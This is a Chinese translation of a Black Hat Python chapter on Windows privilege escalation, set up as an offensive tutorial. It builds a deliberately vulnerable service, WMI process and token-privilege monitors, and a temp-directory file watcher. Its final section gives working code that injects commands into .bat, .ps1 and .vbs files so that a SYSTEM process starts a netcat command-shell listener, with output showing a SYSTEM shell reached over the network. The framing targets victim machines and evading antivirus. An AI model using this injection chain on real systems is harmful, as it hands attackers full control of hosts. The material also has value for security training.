WINDOWS PRIVILEGE ESCALATION – Windows 权限提升
目前你成功进入到一个有趣的 Windows 网络中。也许你利用了远程堆溢出,或者你利用网络钓鱼进入。是时候开始寻找提升特权的方法了。
即使您已经以系统管理员或管理员的身份运行,您也可能希望有多几种方法来获得这些权限,以防补丁程序周期终止您的访问。在您的背包中有一个特权提升目录也很重要,因为一些企业运行的软件可能很难在您自己的环境中进行分析,并且您可能无法运行该软件,除非您在相同规模或构成情况的企业网络中。
在典型的权限提升中,您会利用脆弱编码的驱动程序或本机 Windows 内核问题,但是如果您使用低质量的利用或在利用过程中出现问题,您将面临导致系统不稳定的风险。让我们探索一些在 Windows 上获得提升权限的其他方法。大型企业中的系统管理员通常会安排执行子进程的任务或服务,或者运行 VBScript 或 PowerShell 脚本来自动化运行。供应商也经常会设置自动化的内置任务,它们的行为方式相同。我们将尝试利用任何高特权进程来处理文件或执行低特权用户可写的二进制文件。您有无数种方法可以尝试提升 Windows 上的权限,我们将只介绍其中的几种。但是,当您理解这些核心概念时,您可以扩展您的脚本去开始探索目标 Windows 系统上的其他暗处的角落。
我们将从学习如何应用 Windows Management Instrumentation (WMI) 编程创建一个灵活的界面以监控创建新进程开始。我们将获得有用的数据,如文件路径、创建进程的用户和启用的权限。然后,我们将所有文件路径交给一个文件监控脚本,该脚本持续跟踪记录所有新创建的文件,以及写入这些文件的内容。这就会告诉我们高特权进程正在访问哪些文件。最后,我们将通过向文件中注入我们自己的脚本代码来拦截文件创建过程,并使高特权进程执行一个 command shell 。这整个过程的美妙之处在于,它不涉及任何 API hook ,因此我们可以在大多数防病毒软件的雷达下飞行(笔者注:应该是比喻修辞手法)。
安装准备工具
我们需要安装一些库来编写本章中的工具。
在 Windows 的 cmd.exe shell 中执行以下操作:
C:\Users\tim\work> pip install pywin32 wmi pyinstaller
当你在第8章制作键盘记录器和截图器时,你可能已经安装了 pyinstaller ,但是如果没有安装,现在安装它(你可以使用 pip )。接下来,我们将创建用于测试监控脚本的示例服务。
创建脆弱的黑帽服务
我们正在创建的服务模拟了大型企业网络中常见的一组漏洞。我们将在本章后面对它攻击测试。此服务将定期将脚本复制到临时目录,并从该目录执行它。打开 bhservice.py 开始编码:
import os
import servicemanager
import shutil
import subprocess
import sys
import win32event
import win32service
import win32serviceutil
SRCDIR = 'C:\\Users\\tim\\work'
TGTDIR = 'C:\\Windows\\TEMP'
在这里,我们进行导入,设置了脚本文件的源目录,然后设置了服务运行它的目标目录。现在,我们使用一个类来创建真实的服务:
class BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "BlackHatService"
_svc_display_name_ = "Black Hat Service"
_svc_description_ = ("Executes VBScripts at regular intervals." +
" What could possibly go wrong?")
[1] def __init__(self,args):
self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
self.timeout = 1000 * 60
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
[2] def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
[3] def SvcDoRun(self):
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
self.main()
这个类是任何服务必须准备的框架。它继承自 win32serviceutil.ServiceFramework 并定义了三个类函数。在 __init__ 函数中我们初始化框架,定义要运行的脚本的位置,设置一分钟的超时限制,并创建事件对象[1]。在 SvcStop 函数中,我们设置服务状态并停止服务[2]。在 SvcDoRun 函数中,我们启动服务并调用我们的任务将在其中运行的 main 函数[3]。接下来我们定义 main 函数:
def main(self):
[1] while True:
ret_code = win32event.WaitForSingleObject(
self.hWaitStop, self.timeout)
[2] if ret_code == win32event.WAIT_OBJECT_0:
servicemanager.LogInfoMsg("Service is stopping")
break
src = os.path.join(SRCDIR, 'bhservice_task.vbs')
shutil.copy(src, self.vbs)
[3] subprocess.call("cscript.exe %s" % self.vbs, shell=False)
os.unlink(self.vbs)
在 main 函数中,由于 self.timeout 参数,我们设置了一个每分钟运行的循环,直到服务收到停止信号[2]。当它运行时,我们将脚本文件复制到目标目录,执行脚本,并删除文件[3]。
在主模块中,我们会处理所有命令行参数:
if __name__ == '__main__':
if len(sys.argv) == 1:
servicemanager.Initialize()
servicemanager.PrepareToHostSingle(BHServerSvc)
servicemanager.StartServiceCtrlDispatcher()
else:
win32serviceutil.HandleCommandLine(BHServerSvc)
有时您可能想要在受害机器上创建一个真实的服务。这个框架为你提供了一个如何构建框架的纲要。
您可以在 https://nostarch.com/black-hat-python2E/ 找到 bhservice_tasks.vbs 脚本。将文件放在 bhservice.py 的同目录下,并将 SRCDIR 更改为指向该目录。您的目录应该如下所示:
06/22/2020 09:02 AM <DIR> .
06/22/2020 09:02 AM <DIR> ..
06/22/2020 11:26 AM 2,099 bhservice.py
06/22/2020 11:08 AM 2,501 bhservice_task.vbs
现在使用 pyinstaller 创建可运行的服务程序:
C:\Users\tim\work> pyinstaller -F --hiddenimport win32timezone bhservice.py
该命令将 bservice.exe 文件保存在 dist 子目录中。让我们转到该目录来安装服务并启动。以管理员身份运行以下命令:
C:\Users\tim\work\dist> bhservice.exe install
C:\Users\tim\work\dist> bhservice.exe start
现在,每分钟服务都会将脚本文件写入临时目录,执行脚本,并删除文件。在您运行 stop 命令之前,它会一直这样做:
C:\Users\tim\work\dist> bhservice.exe stop
您可以随时启动或停止服务。请记住,如果您在 bhservice.py 中更改了代码,您必须重新使用 pyinstaller 创建一个新的可运行服务程序,并使用 bhservice update
命令让 Windows 重新加载该服务。当您完成本章中的服务时,请使用 bhservice remove
移除它。
你应该已经完成好了。现在让我们继续下面有趣的部分!
创建进程监视器
几年前,这本书的作者之一, Justin(贾斯汀) ,为安全提供商 Immunity 的项目 El Jefe 做过贡献。本质来说, El Jefe 是一个非常简单的进程监控系统。该工具旨在帮助防御团队的人员跟踪恶意进程创建和恶意软件的安装过程。
一天,他的同事 Mark Wuergler ,马克·伍尔格勒在咨询时提议他们可以使用 El Jefe 进行攻击:有了它,他们可以监控在目标 Windows 机器上作为系统执行的进程。这将提供对潜在不安全文件处理或子进程创建的监测能力。它成功生效了,他们带着无数特权提升的 bug ,给了他们“王国”的钥匙。
最初的 El Jefe 的主要缺点是它使用了一个注入到每个进程中的 DLL (动态链接库)来拦截对本机 CreateProcess 函数的调用。然后,它使用命名管道与收集客户端通信,收集客户端将进程创建的详细信息转发给日志服务器。不幸的是,大多数防病毒软件也会挂钩 CreateProcess 调用,因此,要么他们将您视为恶意软件,要么您在并行运行防病毒软件与 El Jefe 时存在系统不稳定问题。
我们将以无挂钩的方式重新创建 El Jefe 的一些监控功能,使其面向攻击技术。这将使我们的监控功能可移植,并使我们能够毫无问题地与防病毒软件一起运行。
使用 WMI 监控进程
Windows 管理工具(Windows Management Instrumentation ,WMI) API (应用编程接口)使程序员能够监控系统的某些事件,然后在这些事件发生时接收回调。我们将利用这个接口在每次创建进程时接收回调,然后记录一些有价值的信息:进程创建的时间、生成进程的用户、启动的可执行文件及其命令行参数、进程 ID 标识和父进程 ID 标识。这将向我们显示由高级特权帐户创建的所有进程,特别是调用外部文件的所有进程,如 VBScript 或批处理脚本。当我们拥有所有这些信息时,我们还将确定进程令牌启动的权限。在某些罕见的情况下,您会发现作为普通用户创建的进程,但被授予了您可以利用的额外的 Windows 权限。
让我们先编写一个非常简单的监控脚本,提供基本的进程信息,然后在此基础上确定启动的权限。这段代码改编自 Python WMI 页面(http://timgolden.me.uk/python/wmi/tutorial.html)。请注意,例如,为了获取由系统创建的高特权进程的信息,您需要以管理员身份运行监控脚本。首先向 process_monitor.py 添加以下代码:
import os
import sys
import win32api
import win32con
import win32security
import wmi
def log_to_file(message):
with open('process_monitor_log.csv', 'a') as fd:
fd.write(f'{message}\r\n')
def monitor():
head = 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges'
log_to_file(head)
[1] c = wmi.WMI()
[2] process_watcher = c.Win32_Process.watch_for('creation')
while True:
try:
[3] new_process = process_watcher()
cmdline = new_process.CommandLine
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
[4] proc_owner = new_process.GetOwner()
privileges = 'N/A'
process_log_message = (
f'{cmdline} , {create_date} , {executable},'
f'{parent_pid} , {pid} , {proc_owner} , {privileges}'
)
print(process_log_message)
print()
log_to_file(process_log_message)
except Exception:
pass
if __name__ == '__main__':
monitor()
我们从实例化 WMI 类开始[1],并告诉它监测进程创建事件[2]。然后我们进入一个循环,这个循环一直阻塞直到 process_watcher 返回一个新的进程事件[3]。新的进程事件是 WMI 的 Win32_Process 类,它包含了我们正在寻找的所有相关信息(有关 Win32_Process WMI 类的更多信息,请参见 MSDN 在线文档)。类函数之一是 GetOwner ,我们调用它来确定谁产生了这个进程[4]。我们收集我们正在寻找的所有进程信息,将其输出到屏幕上,并记录到一个文件中。
Kicking the Tires
让我们启动进程监控脚本,创建一些进程,看看输出是什么样的:
C:\Users\tim\work>python process_monitor.py
"Calculator.exe",
20200624083538.964492-240 ,
C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe,
1204 ,
10312 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
N/A
notepad ,
20200624083340.325593-240 ,
C:\Windows\system32\notepad.exe,
13184 ,
12788 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
N/A
开始运行该脚本后,我们运行 notepad.exe 和 calc.exe 。如您所见,该工具可以正确输出这些进程信息。您现在可以休息一段时间,让这个脚本运行一天,并捕获所有正在运行的进程、计划任务和各种软件更新程序的记录。如果幸运的话,你可能会发现恶意软件(也可能是不幸)。它对于登录和退出系统时也很有用,因为这些操作生成的事件可能会显示出特权进程。
现在我们已经有了基本的进程监控能力,让我们可以在日志中填写权限字段。不过,首先,您应该稍微了解一下 Windows 特权是如何工作的,以及它们为什么很重要。
Windows令牌权限
按照微软的说法,Windows token 是“描述进程或线程的安全上下文的对象”(请参见 http://msdn.microsoft.com/ “Access Tokens” )。换句话说,令牌的权限和特权决定了进程或线程可以执行哪些任务。
不能理解这些令牌会让你感到麻烦。作为安全产品的一部分,一个善意的开发人员可能会创建一个系统托盘应用程序,他们希望在该应用程序上给一个非特权用户控制主要 Windows 服务的能力,也就是驱动程序。开发人员在进程上使用本机 Windows API 函数 AdjustTokenPrivileges ,然后,开发者十分“单纯”地授予系统托盘应用程序 SeLoadDriver 权限。开发人员没有注意到的是,如果您可以爬进系统托盘应用程序,您现在可以加载或卸载任何您想要的驱动程序,这意味着您可以使用内核模式下的 rootkit ,这就意味着游戏结束了。
(笔者注: rootkit : Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit 的目的在于隐藏自己以及其他软件不被发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。 Rootkit 本身不会像病毒或蠕虫那样影响计算机的运行。)
请记住,如果您不能以系统或管理员的身份运行您的进程监视器,那么您需要关注您能够监视哪些进程。是否还有你能利用的其他特权?以拥有错误权限的用户身份运行的进程是进入系统或在内核中运行代码的绝佳方式。表10-1列出了作者一直在寻找的有趣的特权。这并不是详尽无遗的,但它是一个很好的起点。你可以在 MSDN 网站上找到一个完整的权限列表。
既然您知道了要查找哪些特权,那么让我们利用 Python 自动检索所监视进程上的已启用特权。我们将使用到 win32security 、win32api 和 win32con 模块。如果遇到无法加载这些模块的情况,请尝试使用 ctypes 库将以下所有函数转换为本地调用。这是可能的,尽管这需要更多的工作量。
直接将以下代码添加到 process_monitor.py 位于现有的 log_to_file 函数的上方:
def get_process_privileges(pid):
try:
hproc = win32api.OpenProcess( [1]
win32con.PROCESS_QUERY_INFORMATION, False, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) [2]
privs = win32security.GetTokenInformation( [3]
htok,win32security.TokenPrivileges
)
privileges = ''
for priv_id, flags in privs:
if flags == (win32security.SE_PRIVILEGE_ENABLED | [4]
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
privileges += f'{win32security.LookupPrivilegeName(None, priv_id)}|' [5]
except Exception:
privileges = 'N/A'
return privileges
我们使用进程 ID 来获取目标进程的句柄[1]。接下来,我们打开进程令牌[2],并通过发送 win32security.TokenPrivileges 结构来请求该进程的令牌信息[3]。函数调用返回一个元组列表,其中元组的第一个成员是特权,第二个成员描述是否启用了特权。因为我们只关心已启用的,所以首先检查已启用的位[4],然后查找权限的可读名称[5]。
接下来,修改现有代码以正确输出和记录此信息。更改下面这行的代码
privileges = "N/A"
改成下面这行
privileges = get_process_privileges(pid)
现在我们已经添加了特权跟踪代码,让我们重新运行 process_monitor.py 脚本并检查输出。您应该看到特权信息:
C:\Users\tim\work> python.exe process_monitor.py
"Calculator.exe",
20200624084445.120519-240 ,
C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe,
1204 ,
13116 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|
notepad ,
20200624084436.727998-240 ,
C:\Windows\system32\notepad.exe,
10720 ,
2732 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|
您可以看到,我们已经成功地记录了这些进程的启用权限。现在,我们可以很容易地在脚本中加入一些智能功能,只记录以无特权用户身份运行但启用了令人关注的权限的进程。进程监视的功能可以帮助我们发现不安全地依赖于外部文件的进程。
Winning the Race–赢得比赛
批处理、 VBScript 和 PowerShell 脚本通过自动化单调的任务使系统管理员的生活更轻松。例如,他们可能会不断地向中央存储服务注册,或者强制从他们自己的存储库中更新软件。一个常见的问题是对这些脚本文件缺乏适当的访问控制。在许多情况下,在其他安全服务器上,我们发现系统用户每天运行一次批处理或 PowerShell 脚本,而任何用户都可以对这些脚本进行全局写入。
如果您在企业网络中运行进程监控的时间足够长(或者只需安装本章开头提供的示例服务),则可能会看到类似如下的进程记录:
wscript.exe C:\Windows\TEMP\bhservice_task.vbs , 20200624102235.287541-240 , C:\Windows\
SysWOW64\wscript.exe,2828 , 17516 , ('NT AUTHORITY', 0, 'SYSTEM') , SeLockMemoryPrivilege|SeTcb
Privilege|SeSystemProfilePrivilege|SeProfileSingleProcessPrivilege|SeIncreaseBasePriorityPrivil
ege|SeCreatePagefilePrivilege|SeCreatePermanentPrivilege|SeDebugPrivilege|SeAuditPrivilege|SeCh
angeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeIncreaseWorkingSetPrivileg
e|SeTimeZonePrivilege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege|
您可以看到一个 SYSTEM 进程已经生成了 wscript.exe 二进制文件,并传入了 C:\WINDOWS\TEMP\bhservice_task.vbs 参数。您在本章开头创建的示例 bhservice 应该会每分钟生成一次这些事件。
但是如果你列出目录的内容,你就看不到这个文件。这是因为服务会创建一个包含 VBScript 的文件,然后执行并删除该 VBScript 。我们已经在许多案例中看到了商业软件执行的这种操作;通常,软件在临时位置创建文件,将命令写入文件,执行生成的程序文件,然后删除这些文件。
为了利用这个条件,我们必须有效地赢得与运行代码的竞争。当软件或计划任务创建文件时,我们需要能够在进程运行和删除之前将自己的代码注入到文件中。实现这一点的诀窍是使用方便的 Windows API ReadDirectoryChangesW ,它使我们能够监视一个目录中对文件或子目录的任何更改。我们还可以过滤这些事件,以便确定文件的保存时间。这样,我们就可以在运行之前快速地将代码注入其中。您可能会发现,在24小时或更长时间内监视所有临时目录是非常有用的;有时,您会在潜在的权限提升上发现有趣的 bug 或信息泄露。
让我们先创建一个文件监视器。然后我们将在此基础上添加自动注入代码。保存一个名为 file_monitor.py 的新文件并输入以下内容:
# Modified example that is originally given here:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import os
import tempfile
import threading
import win32con
import win32file
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
FILE_LIST_DIRECTORY = 0x0001
[1] PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]
def monitor(path_to_watch):
[2] h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE |
win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None
)
while True:
try:
[3] results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SIZE,
None,
None
)
[4] for action, file_name in results:
full_filename = os.path.join(path_to_watch, file_name)
if action == FILE_CREATED:
print(f'[+] Created {full_filename}')
elif action == FILE_DELETED:
print(f'[-] Deleted {full_filename}')
elif action == FILE_MODIFIED:
print(f'[*] Modified {full_filename}')
try:
print('[vvv] Dumping contents ... ')
[5] with open(full_filename) as f:
contents = f.read()
print(contents)
print('[^^^] Dump complete.')
except Exception as e:
print(f'[!!!] Dump failed. {e}')
elif action == FILE_RENAMED_FROM:
print(f'[>] Renamed from {full_filename}')
elif action == FILE_RENAMED_TO:
print(f'[<] Renamed to {full_filename}')
else:
print(f'[?] Unknown action on {full_filename}')
except Exception:
pass
if __name__ == '__main__':
for path in PATHS:
monitor_thread = threading.Thread(target=monitor, args=(path,))
monitor_thread.start()
我们定义了一个要监视的目录列表[1],在我们的示例中是两个常见的临时文件目录。你可能想留意其他地方,所以在你认为合适的时候编辑这个列表。
对于每个路径,我们将创建一个调用 start_monitor 函数的监视线程。此函数的第一个任务是获取要监视的目录的句柄[2],然后调用 ReadDirectoryChangesW 函数[3],它在目录内发生变化时通知我们。我们接收更改的目标文件的文件名和发生的事件类型[4]。从这里,我们打印出有关该特定文件发生了什么的有用信息,如果我们检测到该文件已被修改,我们将转储该文件的内容以供参考[5]。
Kicking the Tires
打开 cmd.exe shell 并运行 file_monitor.py :
C:\Users\tim\work> python.exe file_monitor.py
打开第二个 cmd.exe shell 并运行以下命令:
C:\Users\tim\work> cd C:\Windows\temp
C:\Windows\Temp> echo hello > filetest.bat
C:\Windows\Temp> rename filetest.bat file2test
C:\Windows\Temp> del file2test
您应该看到类似如下输出:
[+] Created c:\WINDOWS\Temp\filetest.bat
[*] Modified c:\WINDOWS\Temp\filetest.bat
[vvv] Dumping contents ...
hello
[^^^] Dump complete.
[>] Renamed from c:\WINDOWS\Temp\filetest.bat
[<] Renamed to c:\WINDOWS\Temp\file2test
[-] Deleted c:\WINDOWS\Temp\file2test
如果一切都按计划进行,我们建议您在目标系统上保持文件监视器24小时运行。您可能会惊讶地看到文件被创建、执行和删除。您还可以使用进程监视脚本来查找要监视的其他有趣的文件路径。软件更新可能会引起特别的兴趣。
让我们添加向这些文件注入代码的能力。
代码注入
现在我们可以监视进程和文件位置,我们将自动将代码注入目标文件。我们将创建非常简单的代码片段,生成具有原始服务特权级别的 netcat.py 工具的编译版本。您可以使用这些 VBScript 、批处理和 PowerShell 文件做大量麻烦的事情。我们将创建一个通用框架,您可以从这里开始。修改 file_monitor.py 脚本并在文件修改常量后添加以下代码:
NETCAT = 'c:\\users\\tim\\work\\netcat.exe'
TGT_IP = '192.168.1.208'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c '
我们要注入的代码将使用以下常量: TGT_IP 是受害者机器的 IP 地址(我们要注入代码的 Windows 机器), TGT_PORT 是我们要连接的端口。 NETCAT 变量给出了我们在第2章中编写的 Netcat 替代品的位置。如果您还没有根据该代码创建可执行文件,现在可以这样做:
C:\Users\tim\netcat> pyinstaller -F netcat.py
然后将生成的 netcat.exe 文件放在该目录下,并确保 NETCAT 变量指向该可执行文件。
我们注入的代码将执行的命令创建一个反弹命令的 shell :
[1] FILE_TYPES = {
'.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
'.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
'.vbs': ["\r\n'bhpmarker\r\n",
f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}
def inject_code(full_filename, contents, extension):
[2] if FILE_TYPES[extension][0].strip() in contents:
return
[3] full_contents = FILE_TYPES[extension][0]
full_contents += FILE_TYPES[extension][1]
full_contents += contents
with open(full_filename, 'w') as f:
f.write(full_contents)
print('\\o/ Injected Code')
我们首先定义一个与特定文件扩展名匹配的代码片段字典[1]。这些代码片段包括一个唯一的标记和要注入的代码。我们使用标记的原因是为了避免无限循环,在无限循环中,我们可以看到文件修改,插入代码,并使程序将此操作检测为文件修改事件。如果不考虑这个问题,这个循环会一直持续到文件变得巨大,硬盘开始崩溃。相反,程序将检查标记,如果找到它,就知道不要再次修改文件。
接下来, injectu_code 函数处理实际的代码注入和文件标记检查。在验证标记不存在之后[2],我们写入标记和希望目标进程运行的代码[3]。现在我们需要修改主事件循环,以包含文件扩展名检查和调用 inject_code :
--snip--
elif action == FILE_MODIFIED:
[1] extension = os.path.splitext(full_filename)[1]
[2] if extension in FILE_TYPES:
print(f'[*] Modified {full_filename}')
print('[vvv] Dumping contents ... ')
try:
with open(full_filename) as f:
contents = f.read()
# NEW CODE
inject_code(full_filename, contents, extension)
print(contents)
print('[^^^] Dump complete.')
except Exception as e:
print(f'[!!!] Dump failed. {e}')
--snip--
这是对主循环的一个非常简单的扩充。我们对文件扩展名进行快速拆分[1],然后对照已知文件类型的字典进行检查[2]。如果在字典中检测到文件扩展名,则调用 inject_code 函数。我们试一下吧。
Kicking the Tires
如果您在本章开头安装了 bhservice ,您可以轻松地测试您的新代码注入程序。确保服务正在运行,然后执行 file_monitor.py 脚本。最终,您将看到输出表明已经创建和修改了一个 .vbs 文件,并且代码已经被注入。在下面的示例中,我们注释掉了内容的打印以节省空间:
[*] Modified c:\Windows\Temp\bhservice_task.vbs
[vvv] Dumping contents ...
\o/ Injected Code
[^^^] Dump complete.
如果打开一个新的 cmd 窗口,您应该看到目标端口已打开:
c:\Users\tim\work> netstat -an |findstr 9999
TCP 192.168.1.208:9999 0.0.0.0:0 LISTENING
如果一切顺利,您可以使用 nc 命令或运行第2章的 netcat.py 脚本来连接你刚刚生成的监听器。为了确保您的权限提升正常生效,请从您的 Kali 计算机连接到侦听器,并检查您正在作为哪个用户运行:
$ nc -nv 192.168.1.208 9999
Connection to 192.168.1.208 port 9999 [tcp/*] succeeded!
#> whoami
nt authority\system
#> exit
这应该可以表明你已经获得了“神圣的” SYSTEM 用户的特权。你的代码注入成功了。
在本章结束时,您可能会认为有些攻击有点深奥。但是如果你花足够的时间“进入”一个大企业网络里,你就会意识到这些策略是非常可行的。您可以轻松地扩展本章中的工具,或者将其转换为专业脚本,以破坏本地帐户或应用程序。 WMI 本身就是一个很好的本地侦察数据的资源;一旦你进入网络,它可以帮助你进一步攻击。特权提升对于任何好的特洛伊木马程序来说都是必不可少的。